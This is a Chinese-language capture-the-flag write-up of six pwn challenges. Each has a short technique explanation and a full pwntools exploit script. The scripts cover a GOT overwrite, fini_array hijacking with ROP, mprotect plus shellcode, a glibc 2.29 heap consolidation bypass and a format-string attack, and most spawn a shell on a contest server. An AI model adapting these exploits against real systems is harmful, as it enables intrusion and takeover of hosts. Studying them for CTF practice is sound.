TTTTTTTTCL,抱歉,告辞,打不动,再见,除了两个OJ盲打外的PWN题附件
Memory Monster I
任意写改got表,栈溢出检测报错时,会调用__stack_chk_fail函数,因为肯定是第一次调用,没有解析符号,所以改成backdoor就行
1 | from pwn import* |
2 | p = process('./main') |
3 | p = remote('183.129.189.60',10083) |
4 | def m(address,content): |
5 | p.sendafter('addr',address) |
6 | p.sendafter('data:',content) |
7 | m(p64(0x404028) + '\x00'*0xC0,'\x4A\x12') |
8 | p.interactive() |
下载
Memory Monster II
静态编译了,fini_array劫持
fini_array[0]:__libc_csu_fini
fini_array[1]:main函数地址
之后则可以形成一个循环链,然后任意地址写,可以在fini_array[2]之后构建ROP链,最后再将fini_array[0]改成leave_ret,fini_array[1]改成ret执行后续ROP链
1 | from pwn import* |
2 | p = process('./main') |
3 | p = remote('183.129.189.60',10100) |
4 | def m(address,content): |
5 | p.sendlineafter('addr:',p64(address)) |
6 | p.sendafter('data:',content) |
7 | |
8 | m(0x4B80B0,p64(0x402CB0) + p64(0x401C1D)) |
9 | pop_rdx_rsi = 0x44BAF9 |
10 | mov_rax_rdx = 0x41B380 |
11 | pop_rdi_ret = 0x401746 |
12 | pop_rdx_ret = 0x448415 |
13 | syscall = 0x46F745 |
14 | binsh = 0x492895 |
15 | leave_ret = 0x401CF3 |
16 | ret = 0x401016 |
17 | m(0x4B80B0 + 0x10,p64(pop_rdx_rsi) + p64(59) + p64(0)) |
18 | m(0x4B80B0 + 0x10 + 0x18,p64(mov_rax_rdx) + p64(pop_rdi_ret) + p64(binsh)) |
19 | m(0x4B80B0 + 0x10 + 0x18 + 0x18,p64(pop_rdx_ret) + p64(0) + p64(syscall)) |
20 | m(0x4B80B0,p64(leave_ret) + p64(ret)) |
21 | p.interactive() |
下载
Memory Monster III
和第二个差不多,只是需要利用mprotect修改内存段的权限,最后写上shellcode并执行
1 | from pwn import* |
2 | p = process('./main') |
3 | elf =ELF('./main') |
4 | context(arch='amd64',os='linux',log_level ='DEBUG') |
5 | #p = remote('183.129.189.60',10008) |
6 | def m(address,content): |
7 | p.sendlineafter('addr:',p64(address)) |
8 | p.sendafter('data:',content) |
9 | |
10 | m(0x4B50B0,p64(0x402CA0) + p64(0x401C1D)) |
11 | |
12 | pop_rdx_rsi = 0x44AB09 |
13 | mov_rax_rdx = 0x41AE80 |
14 | pop_rdi_ret = 0x401746 |
15 | pop_rdx_ret = 0x447635 |
16 | leave_ret = 0x401CF3 |
17 | ret = 0x401016 |
18 | mprotect = 0x448420 |
19 | read = 0x447620 |
20 | |
21 | shell_a = 0x4BC100 |
22 | shell = asm(shellcraft.sh()) |
23 | m(0x4B50B0 + 0x10,p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi)) |
24 | m(0x4B50B0 + 0x10 + 0x18,p64(0x200) + p64(shell_a) + p64(read)) |
25 | m(0x4B50B0 + 0x10 + 0x18 + 0x18,p64(pop_rdi_ret) + p64(shell_a -0x100) + p64(pop_rdx_rsi)) |
26 | m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18,p64(7) + p64(0x1000) + p64(mprotect)) |
27 | m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18 + 0x18,p64(shell_a)) |
28 | m(0x4B50B0,p64(leave_ret) + p64(ret) + p64(pop_rdi_ret)) |
29 | |
30 | p.sendline(shell) |
31 | p.interactive() |
下载
secret2
最多打开文件1000多次,就不能继续打开了,则随机值之后全是0,因此输入8个0字节就行通过memcmp检测
1 | from pwn import* |
2 | p = process('./main') |
3 | #context.log_level ='DEBUG' |
4 | p = remote('183.129.189.60',10051) |
5 | elf =ELF('./main') |
6 | pop_rdi_ret = 0x40161B |
7 | pop_rsi_r15 = 0x0401619 |
8 | flag_address = 0x4021DF |
9 | gadget_I = 0x401612 |
10 | gadget_Ii = 0x4015F8 |
11 | payload = '\x00'*(1+8) + p64(pop_rdi_ret) + p64(flag_address) + p64(pop_rsi_r15) + p64(0)*2 + p64(elf.plt['open']) |
12 | payload += p64(gadget_I) + p64(0) + p64(1) |
13 | payload += p64(elf.got['read']) |
14 | payload += p64(0) |
15 | payload += p64(elf.bss() + 0x50) |
16 | payload += p64(0x30) |
17 | payload += p64(gadget_Ii) |
18 | payload += p64(0)*7 |
19 | payload += p64(pop_rdi_ret) + p64(elf.bss() + 0x50) + p64(elf.plt['puts']) |
20 | p.sendlineafter("What's your name? ",payload) |
21 | |
22 | for i in range(1100): |
23 | p.sendlineafter('Secret:','FMYY') |
24 | for i in range(234): |
25 | p.sendafter('Secret:',p64(0)) |
26 | p.interactive() |
下载
happyending
点击此链接,几乎是一个模板,套用改改就行
2.29对后向合并添加了一个检测
1 | /* consolidate backward */ |
2 | if (!prev_inuse(p)) { |
3 | prevsize = prev_size (p); |
4 | size += prevsize; |
5 | p = chunk_at_offset(p, -((long) prevsize)); |
6 | if (__glibc_unlikely (chunksize(p) != prevsize)) |
7 | malloc_printerr ("corrupted size vs. prev_size while consolidating"); |
8 | unlink_chunk (av, p); |
会对欲合并的块的size与欲prevsize进行一个判断,这种方法直接导致以前的后向合并不能用了
然后有师傅利用large bin、small bin、fastbin中chunk残留信息,并爆破倒数第二个字节的半个字节从而伪造一个可以chunk
1.large bin chunk放入large bin,如果只有一个,那么其nextsize指针都指向自己,如果爆破半个字节,将fd_next_size指向到一个可控制bk的块上
2.small bin申请,其bk会残留指针,如果修改次块的bk中最后一个字节,令其指向伪造的chunk
且之前fd_next_size修改一个字节指向此small bin chunk,则构建了FD->bk == victim;
3.将保存伪造的chunk头的块释放到fastbin,如果当前fastbin中已经有一个块,则会在fd写上堆地址,同样部分修改,令BK->fd == victim绕过
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def new(size,content): |
4 | p.sendlineafter('>','1') |
5 | p.sendlineafter('length :',str(size)) |
6 | p.sendafter('them!',content) |
7 | def free(index): |
8 | p.sendlineafter('>','2') |
9 | p.sendlineafter('debuff :',str(index)) |
10 | def show(index): |
11 | p.sendlineafter('>','3') |
12 | p.sendlineafter('blessing :',str(index)) |
13 | p = process('./main') |
14 | #p = remote('183.129.189.60',10106) |
15 | libc =ELF('./libc-2.29.so') |
16 | for i in range(4): |
17 | new(0x1000,'FMYY') |
18 | new(0x1000-0x3E0,'FMYY') |
19 | #--large bin |
20 | for i in range(7): |
21 | new(0x28,'FMYY') |
22 | |
23 | new(0xB20,'FAKE') |
24 | new(0x10,'FMYY') |
25 | free(12) |
26 | |
27 | new(0x1000,'FMYY') |
28 | |
29 | new(0x28,p64(0) + p64(0x521) + '\x40') |
30 | #-- |
31 | |
32 | #-- small bin |
33 | new(0x28,'F') #15 |
34 | new(0x28,'M') #16 |
35 | new(0x28,'Y') #17 |
36 | new(0x28,'Y') #18 |
37 | |
38 | for i in range(7): #5 - 11 |
39 | free(5+i) |
40 | |
41 | free(17) |
42 | free(15) |
43 | |
44 | for i in range(7): |
45 | new(0x28,'FMYY') |
46 | |
47 | new(0x400,'FMYY') |
48 | |
49 | new(0x28,p64(0) + '\x20') |
50 | |
51 | new(0x28,'clear') # clear the small bin |
52 | #-- |
53 | |
54 | #--fast bin |
55 | for i in range(7): |
56 | free(5 + i) |
57 | free(16) |
58 | free(14) |
59 | |
60 | for i in range(7): |
61 | new(0x28,'FMYY') |
62 | |
63 | new(0x28,'\x20') |
64 | new(0x28,'clear') |
65 | #-- |
66 | new(0x28,'Target') #20 |
67 | new(0x5F8,'Last') |
68 | #new(0x100,'FMYY') |
69 | free(20) |
70 | new(0x28,'\x00'*0x20 + p64(0x520)) |
71 | free(21) |
72 | |
73 | new(0x40,'FMYY') |
74 | show(16) |
75 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x60 -0x10 - libc.sym['__malloc_hook'] |
76 | log.info('LIBC:\t' + hex(libc_base)) |
77 | |
78 | free_hook = libc_base + libc.sym['__free_hook'] |
79 | rce = libc_base + 0x106EF8 |
80 | system = libc_base + libc.sym['system'] |
81 | free(21) |
82 | free(14) |
83 | |
84 | new(0x28,'\x00'*0x10 + p64(free_hook)) |
85 | |
86 | new(0x40,'/bin/sh\x00') |
87 | new(0x40,p64(system)) |
88 | |
89 | free(21) |
90 | p.interactive() |
下载
easybabystack [AFTER]
C语言白学了,第一次见到这种用法 格式化字符串中 *$连用表示取对应偏移位置的值
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | p= process('./main') |
4 | p = remote('183.129.189.60',10001) |
5 | p.sendlineafter('username:','%*18$d%5$n') |
6 | #gdb.attach(p,"b *0x401512") |
7 | p.sendline('1') |
8 | pop_rdi_ret = 0x401733 |
9 | pop_rsi_r15 = 0x401731 |
10 | binsh =0x404090 |
11 | system = 0x401110 |
12 | read_got = 0x404038 |
13 | gadget_I = 0x40172A |
14 | gadget_Ii = 0x401710 |
15 | payload = 'U'*0x118 |
16 | payload += p64(gadget_I) |
17 | payload += p64(0) |
18 | payload += p64(1) |
19 | payload += p64(0) |
20 | payload += p64(binsh) |
21 | payload += p64(8) |
22 | payload += p64(read_got) |
23 | payload += p64(gadget_Ii) |
24 | payload += p64(0)*7 |
25 | payload += p64(pop_rdi_ret) + p64(binsh) + p64(system) |
26 | p.recvuntil('message') |
27 | p.sendline(payload) |
28 | p.send('/bin/sh\x00') |
29 | p.interactive() |